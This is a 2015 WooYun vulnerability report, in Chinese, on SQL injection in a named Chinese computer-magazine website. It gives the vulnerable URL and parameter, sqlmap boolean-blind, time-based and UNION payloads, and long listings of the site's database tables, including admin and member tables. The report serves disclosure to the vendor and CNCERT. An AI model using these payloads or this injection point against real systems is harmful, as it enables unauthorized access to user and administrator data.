漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0126518
漏洞标题：微型计算机官方网站存在SQL注入
相关厂商：cncert国家互联网应急中心
漏洞作者： jobf
提交时间：2015-07-17 13:14
修复时间：2015-09-06 00:00
公开时间：2015-09-06 00:00
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-07-17： 细节已通知厂商并且等待厂商处理中
2015-07-21： 厂商已经确认，细节仅向厂商公开
2015-07-31： 细节向核心白帽子及相关领域专家公开
2015-08-10： 细节向普通白帽子公开
2015-08-20： 细节向实习白帽子公开
2015-09-06： 细节向公众公开
简要描述：
微型计算机官方网站存在SQL注入，爆大量表段，注入点：http://www.mcplive.cn/act/ytpz/review.php?id=126
详细说明：
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=126 AND 1884=1884
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=126 AND (SELECT * FROM (SELECT(SLEEP(5)))hlsG)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=126 UNION ALL SELECT NULL,NULL,CONCAT(0x716b717671,0x7468476646717a706e69,0x716b787a71),NULL,NULL,NULL--
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
Database: cniti_uc
+---------------------------------------+
| cuc_actions |
| cuc_admins |
| cuc_applications |
| cuc_badwords |
| cuc_domains |
| cuc_failedlogins |
| cuc_feeds |
| cuc_friends |
| cuc_mailqueue |
| cuc_member_record |
| cuc_member_update |
| cuc_memberbase |
| cuc_memberextra |
| cuc_memberfields |
| cuc_memberprivacy |
| cuc_members |
| cuc_mergemembers |
| cuc_msg |
| cuc_newpm |
| cuc_notelist |
| cuc_pm_indexes |
| cuc_pm_lists |
| cuc_pm_members |
| cuc_pm_messages_0 |
| cuc_pm_messages_1 |
| cuc_pm_messages_2 |
| cuc_pm_messages_3 |
| cuc_pm_messages_4 |
| cuc_pm_messages_5 |
| cuc_pm_messages_6 |
| cuc_pm_messages_7 |
| cuc_pm_messages_8 |
| cuc_pm_messages_9 |
| cuc_pms |
| cuc_protectedmembers |
| cuc_settings |
| cuc_sqlcache |
| cuc_tags |
| cuc_teams |
| cuc_vars |
+---------------------------------------+
Database: dzx31
[262 tables]
+---------------------------------------+
| dzx_common_admincp_cmenu |
| dzx_common_admincp_group |
| dzx_common_admincp_member |
| dzx_common_admincp_perm |
| dzx_common_admincp_session |
| dzx_common_admingroup |
| dzx_common_adminnote |
| dzx_common_advertisement |
| dzx_common_advertisement_custom |
| dzx_common_banned |
| dzx_common_block |
| dzx_common_block_favorite |
| dzx_common_block_item |
| dzx_common_block_item_data |
| dzx_common_block_permission |
| dzx_common_block_pic |
| dzx_common_block_style |
| dzx_common_block_xml |
| dzx_common_cache |
| dzx_common_card |
| dzx_common_card_log |
| dzx_common_card_type |
| dzx_common_connect_guest |
| dzx_common_credit_log |
| dzx_common_credit_log_field |
| dzx_common_credit_rule |
| dzx_common_credit_rule_log |
| dzx_common_credit_rule_log_field |
| dzx_common_cron |
| dzx_common_devicetoken |
| dzx_common_district |
| dzx_common_diy_data |
| dzx_common_domain |
| dzx_common_failedip |
| dzx_common_failedlogin |
| dzx_common
漏洞证明：
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=126 AND 1884=1884
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=126 AND (SELECT * FROM (SELECT(SLEEP(5)))hlsG)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=126 UNION ALL SELECT NULL,NULL,CONCAT(0x716b717671,0x7468476646717a706e69,0x716b787a71),NULL,NULL,NULL--
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
Database: cniti_uc
[40 tables]
Database: dzx31
[262 tables]
+---------------------------------------+
| dzx_common_admincp_cmenu |
| dzx_common_admincp_group |
| dzx_common_admincp_member |
| dzx_common_admincp_perm |
| dzx_common_admincp_session |
| dzx_common_admingroup |
| dzx_common_adminnote |
| dzx_common_advertisement |
| dzx_common_advertisement_custom |
| dzx_common_banned |
| dzx_common_block |
| dzx_common_block_favorite |
| dzx_common_block_item |
| dzx_common_block_item_data |
| dzx_common_block_permission |
| dzx_common_block_pic |
| dzx_common_block_style |
| dzx_common_block_xml |
| dzx_common_cache |
| dzx_common_card |
| dzx_common_card_log |
| dzx_common_card_type |
| dzx_common_connect_guest |
| dzx_common_credit_log |
| dzx_common_credit_log_field |
| dzx_common_credit_rule |
| dzx_common_credit_rule_log |
| dzx_common_credit_rule_log_field |
| dzx_common_cron |
| dzx_common_devicetoken |
| dzx_common_district |
| dzx_common_diy_data |
| dzx_common_domain |
| dzx_common_failedip |
| dzx_common_failedlogin |
| dzx_common_friendlink |
| dzx_common_grouppm |
| dzx_common_invite |
| dzx_common_magic |
| dzx_common_magiclog |
| dzx_common_mailcron |
| dzx_common_mailqueue |
| dzx_common_member |
| dzx_common_member_action_log |
| dzx_common_member_connect |
| dzx_common_member_count |
| dzx_common_member_crime |
| dzx_common_member_field_forum |
| dzx_common_member_field_home |
| dzx_common_member_forum_buylog |
| dzx_common_member_grouppm |
| dzx_common_member_log |
| dzx_common_member_magic |
| dzx_common_member_medal |
| dzx_common_member_newprompt |
| dzx_common_member_profile |
| dzx_common_member_profile_setting |
| dzx_common_member_security |
| dzx_common_member_secwhite |
| dzx_common_member_stat_field |
| dzx_common_member_status |
| dzx_common_member_validate |
| dzx_common_member_verify |
| dzx_common_member_verify_info |
| dzx_common_myapp |
| dzx_common_myinvite |
| dzx_common_mytask |
| dzx_common_nav |
| dzx_common_onlinetime |
| dzx_common_optimizer |
| dzx_common_patch |
| dzx_common_plugin |
| dzx_common_pluginvar |
| dzx_common_process |
| dzx_common_regip |
| dzx_common_relatedlink |
| dzx_common_remote_port |
| dzx_common_report |
| dzx_common_searchindex |
| dzx_common_seccheck |
| dzx_common_secquestion |
| dzx_common_session |
| dzx_common_setting |
| dzx_common_smiley |
| dzx_common_sphinxcounter |
| dzx_common_stat |
| dzx_common_statuser |
| dzx_common_style |
| dzx_common_stylevar |
| dzx_common_syscache |
| dzx_common_tag |
| dzx_common_tagitem |
| dzx_common_task |
| dzx_common_taskvar |
| dzx_common_template |
| dzx_common_template_block |
| dzx_common_template_permission |
| dzx_common_uin_black |
| dzx_common_usergroup |
| dzx_common_usergroup_field |
| dzx_common_visit |
| dzx_common_word |
| dzx_common_word_type |
| dzx_connect_disktask |
| dzx_connect_feedlog |
| dzx_connect_memberbindlog |
| dzx_connect_postfeedlog |
| dzx_connect_tthreadlog |
| dzx_forum_access |
| dzx_forum_activity |
| dzx_forum_activityapply |
| dzx_forum_announcement |
| dzx_forum_attachment |
| dzx_forum_attachment_0 |
| dzx_forum_attachment_1 |
| dzx_forum_attachment_2 |
| dzx_forum_attachment_3 |
| dzx_forum_attachment_4 |
| dzx_forum_attachment_5 |
| dzx_forum_attachment_6 |
| dzx_forum_attachment_7 |
| dzx_forum_attachment_8 |
| dzx_forum_attachment_9 |
| dzx_forum_attachment_exif |
| dzx_forum_attachment_unused |
| dzx_forum_attachtype |
| dzx_forum_bbcode |
| dzx_forum_collection |
| dzx_forum_collectioncomment |
| dzx_forum_collectionfollow |
| dzx_forum_collectioninvite |
| dzx_forum_collectionrelated |
| dzx_forum_collectionteamworker |
| dzx_forum_collectionthread |
| dzx_forum_creditslog |
| dzx_forum_debate |
| dzx_forum_debatepost |
| dzx_forum_faq |
| dzx_forum_filter_post |
| dzx_forum_forum |
| dzx_forum_forum_threadtable |
| dzx_forum_forumfield
修复方案：
过滤
版权声明：转载请注明来源 jobf@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：7
确认时间：2015-07-21 14:36
厂商回复：
CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。
最新状态：
暂无